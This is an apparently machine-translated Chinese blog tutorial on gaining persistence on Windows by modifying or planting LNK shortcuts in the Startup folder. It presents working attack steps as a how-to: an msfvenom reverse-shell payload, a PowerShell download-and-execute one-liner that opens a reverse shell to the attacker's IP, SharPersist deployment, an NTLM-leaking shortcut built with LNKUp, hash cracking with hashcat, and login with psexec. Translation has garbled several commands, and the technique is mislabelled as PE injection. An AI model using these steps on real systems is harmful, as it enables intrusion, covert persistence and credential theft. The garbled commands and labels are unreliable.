Windows 持久性:快捷方式修改(T1547)

攻击者经常使用Windows 持久化技术(例如修改快捷方式)来维持访问权限或提升权限。因此,在本篇博文中,我们将探讨修改LNK 快捷方式如何帮助攻击者获得受感染系统的持久访问权限。

快捷方式修改是一种攻击者替换与快捷方式绑定的可执行文件的绝对路径的技术。这样,他们就可以用一个看似合法的图标来伪装快捷方式,并在启动时运行,从而实现持久化。在本文中,我们将探讨两种帮助攻击者通过这种技术实现Windows 持久化的简单方法。

MITRE TACTIC:权限提升(TA0004)和持久性(TA0003)
MITRE 技术 ID:T1547 启动或登录自动启动执行)
副标题:PE注射(T1547.009

 目录

背景
PERS1 – 手动快捷方式修改 + 反向shell
PERS2 – 手动快捷方式修改 + Powershell One Liner
PERS3 – 使用 SharPersist.exe 修改快捷方式
PERS4 – 快捷方式创建和 NTLM 哈希泄露
结论

背景

Windows 的快捷方式文件以 *.LNK 扩展名结尾,包含可使用此快捷方式运行的可执行文件的绝对路径。自从 50 美分达到顶峰,网络安全意识也随之下降以来,攻击者就一直利用快捷方式进行攻击。一个例子就是公共网吧使用的 CD 和 DVD 中经常包含恶意快捷方式,从而传播恶意软件。在现代 Windows 系统中,LNK 文件能够运行大量文件,包括 exe、cmd、vbs、powershell 等。现在,攻击者可以创建嵌入 powershell 脚本的新快捷方式,或者修改现有的快捷方式以进行更隐蔽的攻击。在本文中,我们将讨论这些方法。

PERS1 – 手动快捷键修改 + 反向shell

要开始漏洞利用,我们首先需要设置在系统启动时运行的有效载荷。我使用 msfvenom 创建了一个 meterpreter 有效载荷。

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

msfvenom -p windows
/ x64/meterpreter/
reverse_tcp
lhost=
192.168.78.142
lport
=
1234
-f
exe
>
shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.142 lport=1234 -f exe > shell.exe

现在一切准备就绪,我们可以继续进行持久化方法 1。这里,我们假设我们已经攻陷了系统,并且已经通过 RDP 或其他任何允许我们查看受害者 GUI 的协议连接到服务器。在受害者的桌面上,我们发现了一个 Firefox 快捷方式。

如您所见,快捷方式中的目标字段设置为运行 Firefox 可执行文件。我们只需使用我们自己的命令来切换它即可。在本例中,我将通过提供 shell.exe 文件的路径来运行我的反向 shell。另外,我们将以最小化模式启动它,以便更加隐蔽。

但你可能已经注意到,图标已经变了。为了将其替换回所需的 Firefox 图标,我们需要点击图标并将其指向 Firefox.exe 二进制文件。

现在必须设置并完成所有操作,并且图标已替换为 Firefox 图标。

现在,我们需要将此快捷方式放在启动文件夹中,以便每次系统重新启动时执行它。

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

%appdata%RoamingMicrosoftWindows开始菜单程序启动

%appdata%RoamingMicrosoftWindows开始菜单程序启动

%appdata%RoamingMicrosoftWindows开始菜单程序启动

注意:请确保将 shell.exe 放入 userspublic 文件夹中才能运行此程序。重新启动系统后,我们的处理程序已成功接收到反向 shell。

PERS2 – 手动快捷方式修改 + Powershell One Liner

虽然上述方法有效,但它需要用户手动将有效载荷部署到受害者的机器中。下一个方法稍微复杂一些。我们将在快捷方式文件中部署一个PowerShell单行命令。您可以阅读我们的文章,了解 更多此类策略。现在,我们将使用Nishang来实现此目的。在目标路径部分,您需要提供以下命令作为输入:

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

powershell
iex
(
New
-Object Net.WebClient
)
.DownloadString
(
'http://192.168.78.142/Invoke-PowerShellTcp.ps1
'
)
;
Invoke

PowerShellTcp
-Reverse
-IPAddress
192.168.78.142
-Port
4444

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IP地址 192.168.78.142 -端口 4444

powershell iex (New-Object Net.WebClient).DownloadString('http://192.168.78.142/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IP地址 192.168.78.142 -端口 4444

您需要根据您的环境更改您的 IP 和端口。

现在,您需要下载 Invoke-PowerShellTcp.ps1 脚本并在端口 80 上运行本地 python 服务器。

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

wget
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

python3 -m
http.server
80

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 python3 -m http.server 80

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
python3 -m http.server 80

现在,一旦将快捷方式放入启动文件夹并重新启动系统,我们就会在 netcat 监听器上收到一个反向 shell!

PERS3 – 使用 SharPersist.exe 修改快捷方式

我们将要演示的下一个方法可以在客户端终端(CLI 反向 Shell)本地执行。我们将使用前面展示的方法的 C# 实现“SharPersist”。要下载此文件,您可以运行以下命令:

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

wget
https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe

wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe

wget https://github.com/mandiant/SharPersist/releases/download/v1.0.1/SharPersist.exe

在受害者初步入侵后,我们需要将此可执行文件与我们制作的 msfvenom meterpreter 有效载荷一起上传到受害者的系统。现在,要使用 SharPersist 创建快捷方式,您可以使用以下标志运行该工具:

t=> 目标文件夹

c=>执行时运行的命令

f=> 文件的名称

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

powershell
wget
192.168.78.142
/SharPersist.exe
-O
SharPersist.exe



powershell
wget
192.168.78.142
/shell.exe
-O
shell.exe



SharPersist.exe -t
启动
文件夹 -c
“cmd.exe”
-a
“/c C:UsersPublicshell.exe”
-f
“ignite”
-m 添加

powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe powershell wget 192.168.78.142/shell.exe -O shell.exe SharPersist.exe -t startupfolder -c “cmd.exe”>powershell wget 192.168.78.142/SharPersist.exe -O SharPersist.exe
powershell wget 192.168.78.142/shell.exe -O shell.exe
SharPersist.exe -t 启动文件夹 -c“cmd.exe”-a“/c C:UsersPublicshell.exe”-f“ignite”-m 添加

您可能已经注意到,快捷方式 ignite.lnk 已被放置在启动文件夹中。重新启动系统后,我们收到了一个 meterpreter shell!

PERS4 – 快捷方式创建和 NTLM 哈希泄露

最后一种方法是最隐蔽、最难追踪的。我们使用一个名为LNKUp的 Python 脚本创建一个 LNK 文件,让受害者在我们的系统上进行身份验证,进而获取他的 NTLM 凭据。您也可以使用 SharPersist 来实现这一点,只需添加 cmd authenticator 命令即可,或者使用 UNC 路径调用在 kali 中设置的 SMB 共享(例如 Impacket 的 smbserver)。要下载并运行该文件,您需要安装 python2.7 和 pip2.7。之后,您可以像下面这样生成 LNK 有效载荷:

纯文本

复制到剪贴板

在新窗口中打开代码

EnlighterJS 3 语法高亮器

apt
安装 python2.7

cd
/usr/lib/python2.7

wget
https://bootstrap.pypa.io/pip/2.7/get-pip.py

python2.7
get-pip.py

git 克隆
https://github.com/plazmaz/lnkup.git

CD连接

python2.7
生成
.py
–host
192.168.78.133
–type
ntlm
–output
readme.lnk


apt 安装 python2.7 cd /usr/lib/python2.7 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py python2.7 get-pip.py git clone https://github.com/plazmaz/lnkup.git cd lnkup python2.7 generate.py –host 192.168.78.133 –type ntlm –output readme.lnk

apt安装python2.7
cd /usr/lib/python2.7
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2.7 get-pip.py
git 克隆 https://github.com/plazmaz/lnkup.git
CD连接
python2.7 generate.py --host 192.168.78.133 --type ntlm --output readme.lnk

现在,我们可以使用受感染客户端的终端手动将此文件上传到启动文件夹。

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

cd C:UsershexAppDataRoamingMicrosoftWindows开始菜单程序启动

powershell
wget
192.168.78.133
/readme.lnk
-O
readme.lnk



cd C:UsershexAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup powershell wget 192.168.78.133/readme.lnk -O readme.lnk

cd C:UsershexAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
powershell wget 192.168.78.133/readme.lnk -O readme.lnk

现在,我们需要在当前接口上设置一个响应器。这很重要,因为身份验证信息会被回调到我们的设置中,然后响应器会捕获它。

现在,我们等待系统重启。系统重启后,你就会看到我们已经获取了 NTLMv2 哈希值。

我们可以将其复制到名为“hash”的文件中,然后使用 hashcat 进行破解。NTLMv2 的模块代码是 5600。

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

hashcat -m
5600
hash
/usr/share/wordlists/rockyou.txt
–force

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt –force

hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force

如上所示,哈希值已被破解,并且给出了明文密码“123”。我们现在可以使用这些凭据通过 psexec 登录系统。

Plain text

Copy to clipboard

Open code in new window

EnlighterJS 3 Syntax Highlighter

python3
psexec.py
十六
进制

123
@
192.168.78.141

谁啊

python3 psexec.py hex:123@192.168.78.141 whoami

python3 psexec.py hex:123@192.168.78.141
whoami

结论

网络安全领域只有少数攻击经受住了时间的考验,恶意快捷方式就是其中之一。供应商尚未针对这种技术提供真正的解决方案,因为它依赖于受害者的轻信,其运作方式与网络钓鱼类似。希望您喜欢这篇文章。感谢您的阅读。

© 版权声明
THE END
如果内容对您有所帮助,就支持一下吧!
点赞0 分享
Silent转身的头像 - 宋马
评论 抢沙发

请登录后发表评论

    暂无评论内容